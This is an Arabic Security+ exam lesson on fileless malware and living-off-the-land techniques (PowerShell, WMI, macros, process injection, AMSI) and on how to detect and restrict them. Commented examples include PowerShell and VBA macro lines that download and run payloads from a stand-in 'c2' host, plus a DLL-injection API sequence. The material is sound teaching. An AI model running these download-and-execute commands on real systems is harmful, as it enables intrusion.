Security+ Academy · درس

البرمجيات الخبيثة عديمة الملفات وهجمات Living-off-the-Land

تعلّم كيف تستغل البرمجيات الخبيثة عديمة الملفات أدوات مشروعة (PowerShell وWMI ووحدات الماكرو) لتفادي الاكتشاف التقليدي القائم على التواقيع.

الدرس 4 من 413 خطوة

البرمجيات الخبيثة عديمة الملفات وهجمات Living-off-the-Land درس مجاني في Security+ Academy على CoddyKit. هذا هو الدرس 4 من أصل 4. يمكنك قراءة الدرس كاملاً أدناه مجاناً — ثم تمرن عليه مباشرة في المتصفح باستخدام محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7. هذا الدرس جزء من مسار التعلم في Security+ Academy، وتقدمك يتزامن عبر الويب وتطبيق CoddyKit. تتضمن دورة Security+ Academy 4 دروس في المجموع.

سبب فعالية الهجمات عديمة الملفات

تكتب البرمجيات الخبيثة التقليدية ملفات قابلة للتنفيذ على القرص، مما يتيح لبرامج مكافحة الفيروسات المعتمدة على التواقيع فرصة فحصها واكتشافها. أما البرمجيات الخبيثة عديمة الملفات فتعمل بالكامل في الذاكرة — أو تستغل أدوات مشروعة مثبتة مسبقًا — ولا تترك ملفات برمجيات خبيثة تقليدية ليعثر عليها برنامج مكافحة الفيروسات. ويؤدي ذلك إلى خفض معدلات الاكتشاف بدرجة كبيرة أمام الأدوات المعتمدة على التواقيع. ويفيد مورّدو حلول الأمن بأن احتمال نجاح هجمات البرمجيات الخبيثة عديمة الملفات يزيد بمقدار 10 أضعاف عن الهجمات المعتمدة على الملفات. وقد استخدمت عملية السطو على بنك بنغلاديش المركزي عام 2016، ومتغيرات Petya/NotPetya عام 2017، وعدد لا يحصى من عمليات التسلل التي ترعاها دول، تقنيات عديمة الملفات للحفاظ على الاستمرارية وتجنب الاكتشاف.

تقنيات الاستفادة من أدوات النظام (LotL)

تستخدم هجمات الاستفادة من أدوات النظام (LotL) الأدوات والمرافق المشروعة الموجودة مسبقًا على نظام الضحية لتنفيذ إجراءات خبيثة. وتثق أنظمة التشغيل وبرامج الأمن بهذه الأدوات — PowerShell وWMI وcertutil وmshta وregsvr32 وrundll32 — لأنها تؤدي أغراضًا مشروعة. ويمكن للمهاجم الذي يستخدم الأدوات المدمجة حصرًا أن يندمج مع النشاط الإداري المعتاد. ويتمثل التحدي أمام المدافعين في التمييز بين الاستخدام الخبيث لهذه الأدوات والعمل الإداري المشروع. ولهذا تكون التحليلات السلوكية والوعي بالسياق أكثر فعالية من اكتشاف التواقيع في تقنيات LotL.

# Common LotL (LOLBins - Living Off the Land Binaries):
# certutil.exe   - download files from internet
# mshta.exe      - execute HTA (HTML Application) scripts
# regsvr32.exe   - execute DLL or scriptlets remotely (Squiblydoo)
# rundll32.exe   - execute DLL exports
# wmic.exe       - WMI queries and lateral movement
# bitsadmin.exe  - download/upload via BITS service
# powershell.exe - nearly unlimited capability
# cmstp.exe      - bypass UAC, run scripts

PowerShell كأداة للهجوم

يُعد PowerShell أكثر أدوات LotL إساءةً للاستخدام، لأنه يتيح الوصول إلى إطار عمل .NET بالكامل، وWMI، وواجهات برمجة تطبيقات Windows مع ترك آثار محدودة عند تنفيذه في الذاكرة. ينزّل المهاجمون نصوص PowerShell مباشرة إلى الذاكرة دون كتابتها على القرص، ويشفّرون الأوامر بترميز Base64 لإخفائها عن السجلات، ويستخدمون ميزات مثل الانعكاس لتحميل تجميعات .NET في الذاكرة. ويعتمد إطارا Empire وCobalt Strike بدرجة كبيرة على PowerShell بعد الاختراق. وتشمل وسائل الحماية PowerShell Constrained Language Mode، وScriptBlock Logging (يسجل محتوى النص البرمجي بعد فك ترميزه)، وModule Logging، وتقييد من يُسمح له بتشغيل PowerShell عبر Group Policy.

# PowerShell attack example (educational):
# Download and execute payload entirely in memory:
# powershell.exe -NoP -NonI -Exec Bypass -W Hidden -Enc <base64>
# IEX (New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')

# Defense: Enable PowerShell logging (Group Policy):
# Computer Config -> Admin Templates -> Windows Components
# -> Windows PowerShell
# Turn on PowerShell Script Block Logging: Enabled
# Turn on Module Logging: Enabled
# Turn on Transcription: Enabled

استخدام WMI للاستمرارية والتحرك الجانبي

يُعد WMI (Windows Management Instrumentation) ميزة قوية في Windows لإدارة الأنظمة، إلا أن المهاجمين يستغلونها لتحقيق الاستمرارية والتحرك الجانبي. وتُشغّل اشتراكات أحداث WMI أمرًا عند وقوع حدث محدد (مثل كل 5 دقائق، أو عند تسجيل الدخول، أو عند بدء عملية معينة). وتستمر هذه الاشتراكات بعد إعادة التشغيل، وتُخزّن في مستودع WMI، ولا تظهر بوصفها مهام مجدولة تقليدية أو مفاتيح تشغيل تلقائي في السجل — مما يساعدها على تجاوز كثير من أدوات اكتشاف الاستمرارية. ويمكن للمهاجمين أيضًا استخدام WMI لتنفيذ عمليات على أنظمة بعيدة عبر DCOM (المنفذ 135)، مما يتيح التحرك الجانبي دون استخدام مشاركات الشبكة.

# WMI event subscription for persistence (educational):
# Filter: every 5 minutes
# Consumer: execute powershell command
# Binding: connect filter to consumer
#
# Detection:
# Monitor WMI subscriptions:
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Sysmon Event ID 19/20/21: WMI events logged

تقنيات حقن العمليات

يتيح حقن العمليات للبرمجيات الخبيثة تشغيل تعليمات برمجية خبيثة داخل مساحة العناوين الخاصة بعملية شرعية وموثوقة (explorer.exe وsvchost.exe وnotepad.exe). وترث التعليمات الخبيثة صلاحيات العملية وهويتها، مما يجعل اتصالات الشبكة تبدو صادرة عن تطبيق موثوق. وتشمل تقنيات الحقن الشائعة حقن DLL (تحميل DLL خبيث في عملية أخرى)، وتفريغ العملية (إنشاء عملية متوقفة مؤقتًا، وإلغاء ربط تعليماتها البرمجية، واستبدالها بتعليمات خبيثة)، وحقن DLL الانعكاسي (تحميل DLL مباشرة من الذاكرة دون كتابته على القرص). وتكتشف أدوات EDR الحقن من خلال مراقبة تسلسلات استدعاءات API (OpenProcess وVirtualAllocEx وWriteProcessMemory وCreateRemoteThread).

# DLL injection API sequence:
# 1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
# 2. VirtualAllocEx(target, NULL, dll_path_len, MEM_COMMIT, PAGE_READWRITE)
# 3. WriteProcessMemory(target, alloc_addr, dll_path, dll_path_len)
# 4. CreateRemoteThread(target, NULL, 0, LoadLibraryA, alloc_addr)

# Sysmon rules to detect injection:
# Event ID 8: CreateRemoteThread
# Event ID 10: ProcessAccess (targetted process opened)
# Event ID 25: ProcessTampering (image changed in memory)

المستندات الممكّنة بوحدات الماكرو كنقاط دخول

تبدأ سلاسل كثيرة من الهجمات عديمة الملفات بمستند Office خبيث يحتوي على وحدات ماكرو VBA. وعندما يفتح المستخدم المستند ويمكّن وحدات الماكرو (غالبًا بعد استدراجه برسالة مثل «Enable Content to view this document»)، يشغّل الماكرو PowerShell لتنزيل حمولة وتنفيذها مباشرة في الذاكرة. ولا تلامس الحمولة القرص مطلقًا — فالذي يُكتب عليه هو مستند Office الأصلي فقط. ولهذا يشدد اختبار Security+ على تعطيل وحدات الماكرو ونشر قواعد ASR (تقليل سطح الهجوم). كما توصل أطر التصيد الحديثة المعتمدة على المهاجم الوسيط (مثل Evilginx2) مستندات خبيثة بعد الاستيلاء على بيانات الاعتماد لنشر RATs.

# Malicious macro flow (educational):
# 1. User receives .docm via email
# 2. User opens, clicks 'Enable Content'
# 3. VBA macro runs:
#    Shell 'powershell -ep bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString(''http://c2/stage2.ps1'')"'
# 4. PowerShell downloads stage2 into memory
# 5. stage2 runs shellcode / loads Cobalt Strike Beacon in memory
# 6. No malware files on disk; only the .docm exists

# ASR rule to block:
# 'Block all Office applications from creating child processes'

AMSI: واجهة فحص مكافحة البرمجيات الخبيثة

إن AMSI (Antimalware Scan Interface) هي واجهة API في Windows تتيح للتطبيقات (PowerShell وVBScript وJScript وOffice) إرسال المحتوى إلى محرك مكافحة الفيروسات المثبت لفحصه أثناء التشغيل — حتى قبل كتابة المحتوى على القرص. وتتيح AMSI لمورّدي برامج مكافحة الفيروسات فحص محتوى النصوص البرمجية الذي كان سيبقى غير مرئي للفحص المعتمد على الملفات. ويحاول المهاجمون تجاوز AMSI من خلال تعديل amsi.dll في الذاكرة لإرجاع نتيجة «نظيف» لجميع عمليات الإرسال، أو من خلال إخفاء محتوى النص البرمجي لتجنب مطابقة التواقيع. وتراقب أدوات EDR محاولات تعديل AMSI بوصفها مؤشرًا على نشاط هجوم عديم الملفات.

# How AMSI works:
# PowerShell/WScript calls AmsiScanBuffer() before execution
# Windows Defender (or other AV) scans the buffer
# If malicious: AMSI returns AMSI_RESULT_DETECTED -> execution blocked

# AMSI bypass attempts to detect (Sysmon/EDR):
# Memory write to amsi.dll: patch AmsiScanBuffer to always return 0
# Unloading amsi.dll from process memory
# PowerShell Constrained Language Mode + AMSI = stronger defense

اكتشاف الهجمات عديمة الملفات

يتطلب اكتشاف البرمجيات الخبيثة عديمة الملفات الانتقال من الاكتشاف المعتمد على الملفات إلى المراقبة السلوكية. وتشمل استراتيجيات الاكتشاف الأساسية ما يلي: يلتقط PowerShell ScriptBlock Logging محتوى النص البرمجي بعد فك ترميزه حتى إذا كان مشفرًا في سطر الأوامر؛ ويسجل Sysmon إنشاء العمليات مع أسطر الأوامر الكاملة، واتصالات الشبكة مع إسنادها إلى العمليات، وتعديلات السجل؛ وتنبه قواعد EDR السلوكية عند وجود علاقات مريبة بين العمليات (مثل أن يشغّل Word تطبيق PowerShell، أو يشغّل PowerShell تطبيق cmd، أو ينزّل certutil ملفات قابلة للتنفيذ)؛ ويرسل Windows Event Forwarding هذه السجلات إلى SIEM مركزي لربطها والاحتفاظ بها على المدى الطويل.

# Sysmon detection rules for LotL:
# Event ID 1: Process creation
#   Alert if: Word.exe spawns cmd.exe or powershell.exe
#   Alert if: certutil.exe with -urlcache -f parameters
#   Alert if: mshta.exe with remote URL argument

# Event ID 3: Network connection
#   Alert if: powershell.exe initiates outbound connection
#   Alert if: mshta.exe connects to non-Microsoft IPs

# Event ID 7: Image loaded
#   Alert if: known-bad DLL loaded into legitimate process

تقييد استخدام أدوات LotL

يمكن للمؤسسات تقليل سطح هجوم LotL عبر تقييد المستخدمين الذين يمكنهم تشغيل الأدوات القوية. ويحد PowerShell Constrained Language Mode من استدعاءات .NET وكائنات COM والانعكاس التي يعتمد عليها المهاجمون. ويمكن لـ AppLocker وWDAC (Windows Defender Application Control) منع تشغيل ثنائيات محددة من قِبل المستخدمين غير الإداريين. ويوثق مشروع LOLBAS ثنائيات LotL المعروفة وتقنيات الهجوم المرتبطة بها، مما يساعد المدافعين على تحديد الثنائيات التي ينبغي مراقبتها أو تقييدها. ولا يمكن حظر جميع ثنائيات LotL (إذ يلزم كثير منها لوظائف نظام التشغيل)، لكن يمكن مراقبة استخدامها مع مراعاة السياق.

# PowerShell Constrained Language Mode:
$ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
# Or via WDAC policy; CLM automatically applied when WDAC is active

# AppLocker: block mshta.exe for standard users
# Computer Config -> Windows Settings -> Security Settings
# -> Application Control Policies -> AppLocker
# Executable Rules -> Add Rule -> Deny -> mshta.exe (path rule)

# WDAC (stronger than AppLocker):
# Cannot be bypassed by local admin unlike AppLocker
# Enforced at kernel level

تغطية MITRE ATT&CK للتقنيات عديمة الملفات

يوثق إطار MITRE ATT&CK التقنيات عديمة الملفات وتقنيات LotL على نطاق واسع. وتشمل التقنيات الفرعية الأساسية: T1059.001 (PowerShell)، وT1047 (تنفيذ WMI)، وT1055 (حقن العمليات)، وT1140 (فك إخفاء/فك ترميز الملفات)، وT1003.001 (ذاكرة LSASS لتفريغ بيانات الاعتماد)، وT1546.003 (اشتراك أحداث WMI لتحقيق الاستمرارية). ويكشف ربط قدرات الاكتشاف لديكم بهذه التقنيات باستخدام ATT&CK Navigator عن ثغرات التغطية، ويوجه تطوير قواعد SIEM. كما يوفر الإطار إرشادات للتخفيف من كل تقنية واكتشافها.

ملخص الحماية من البرمجيات الخبيثة عديمة الملفات

تشمل استراتيجية الحماية متعددة الطبقات من البرمجيات الخبيثة عديمة الملفات: تمكين تسجيل PowerShell (ScriptBlock وModule وTranscription)، ونشر Sysmon مع إعداد شامل، وتنفيذ AMSI باستخدام محرك مكافحة فيروسات محدّث، وفرض PowerShell Constrained Language Mode عبر WDAC، وتقييد تنفيذ وحدات الماكرو في مستندات Office عبر Group Policy، ونشر EDR بقدرات اكتشاف سلوكية، وإعادة توجيه جميع السجلات إلى SIEM يتضمن قواعد اكتشاف لسلاسل العمليات المعروفة بأنها خبيثة. ويجعل الجمع بين تقييد سطح الهجوم وتحسين مستوى الرؤية تنفيذ الهجمات عديمة الملفات دون اكتشافها أصعب بكثير.

تحقق سريع

اختبروا مدى فهمكم لمفاهيم CompTIA Security+ (SY0-701) الواردة في هذا الدرس.

مراجعة الدرس

تعلّمتم في هذا الدرس أن البرمجيات الخبيثة عديمة الملفات تعمل في الذاكرة وتستغل أدوات نظام التشغيل المشروعة مثل PowerShell وWMI وcertutil لتجنب الاكتشاف المعتمد على التواقيع؛ وأن تقنيات حقن العمليات تخفي التعليمات البرمجية الخبيثة داخل عمليات موثوقة من خلال استغلال واجهات برمجة تطبيقات إدارة الذاكرة في Windows؛ وأن الاكتشاف السلوكي عبر SIEM وSysmon وEDR، إلى جانب تسجيل PowerShell وAMSI، يوفر أقوى حماية من سلاسل الهجمات التي تتجنب التواقيع. بعد ذلك، سنستكشف الفرق بين فحص الثغرات واختبار الاختراق.

البدء مجانًا

تعلم Security+ Academy مع معلم ذكاء اصطناعي — مجانًا

اكتب وقم بتشغيل أكوادك الفعلية في المتصفح، واحصل على مساعدة فورية من معلم ذكاء اصطناعي متاح 24/7، واستمر من حيث توقفت على الويب أو في التطبيق.

الدورات
30
الدروس
120

الأسئلة الشائعة

هل درس «البرمجيات الخبيثة عديمة الملفات وهجمات Living-off-the-Land» مجاني؟

نعم — نص درس «البرمجيات الخبيثة عديمة الملفات وهجمات Living-off-the-Land» كامل متاح مجاناً هنا على الويب. لتمرينه بشكل تفاعلي (محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7) وفتح باقي دورة Security+ Academy، انتقل إلى CoddyKit PRO. تتضمن دورة Security+ Academy 4 دروس في المجموع.

ماذا ستتعلم في «البرمجيات الخبيثة عديمة الملفات وهجمات Living-off-the-Land»؟

تعلّم كيف تستغل البرمجيات الخبيثة عديمة الملفات أدوات مشروعة (PowerShell وWMI ووحدات الماكرو) لتفادي الاكتشاف التقليدي القائم على التواقيع. تتمرن على Security+ Academy مع أكواد عملية تشغلها مباشرة في المتصفح، ومدرس ذكاء اصطناعي متاح 24/7 يجيب على أسئلتك أثناء عملك.

هل أحتاج إلى خبرة سابقة لأبدأ Security+ Academy؟

لا تُشترط خبرة سابقة. Security+ Academy على CoddyKit منظم للمبتدئين حتى المتقدمين، لذا يمكنك البدء من هنا أو من البداية والتقدم بسرعتك الخاصة. هذا هو الدرس 4 من أصل 4.

كم من الوقت يستغرق درس «البرمجيات الخبيثة عديمة الملفات وهجمات Living-off-the-Land»؟

معظم دروس CoddyKit تستغرق حوالي 5–10 دقائق. كل منها موجز وتفاعلي، لذا تحرز تقدماً مستمراً وتستأنف من حيث توقفت عبر الويب والتطبيق.

هل يمكنني كتابة وتشغيل أكواد في درس Security+ Academy هذا؟

نعم. كل درس في Security+ Academy يتضمن محرر أكواد مدمج، لذا تكتب وتشغل أكواداً حقيقية مباشرة في متصفحك وتحصل على تعليقات فورية من الذكاء الاصطناعي — بدون إعداد محلي.

جميع الدروس في هذه الدورة

  1. الفيروسات والديدان وأحصنة طروادة
  2. برامج الفدية وCryptolockers
  3. Rootkits وبرامج التجسس ومسجلات المفاتيح
  4. البرمجيات الخبيثة عديمة الملفات وهجمات Living-off-the-Land
← العودة إلى Security+ Academy